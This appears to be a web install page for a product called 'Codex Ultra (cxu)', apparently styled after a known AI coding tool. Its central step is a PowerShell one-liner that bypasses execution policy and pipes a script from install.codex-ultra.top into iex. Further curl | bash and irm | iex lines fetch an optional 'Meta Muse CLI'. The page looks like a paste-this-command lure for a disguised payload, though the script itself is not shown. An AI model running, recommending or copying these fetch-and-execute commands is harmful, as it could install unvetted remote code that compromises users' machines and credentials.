Install Codex Ultra (cxu) - Zero-Dependency One-Click Setup

Get the next-generation AI workbench up and running with a single command. No Node.js or npm required.

PowerShell (Run as Administrator or standard user)

powershell -ExecutionPolicy ByPass -c "irm https://install.codex-ultra.top/install.ps1 | iex"

⚡ Zero Dependencies

Installs standalone runtime automatically. You don't need to manually configure Node.js, Python, or build tools.

🛠️ Automatic PATH

Configures your system PATH variables seamlessly. Open any terminal window and start with cxu.

🤖 Muse CLI Ready

The installer prompts to add Meta Muse CLI. Manual install: curl -fsSL https://dev.meta.ai/install.sh | bash (POSIX) or irm https://dev.meta.ai/install.ps1 | iex (Windows).

🚀 Global HK Mirror

Direct low-latency CDN acceleration hosted in Hong Kong with full upstream fallback redundancy.

Optional — Meta Muse CLI (https://dev.meta.ai)

curl -fsSL https://dev.meta.ai/install.sh | bash

irm https://dev.meta.ai/install.ps1 | iex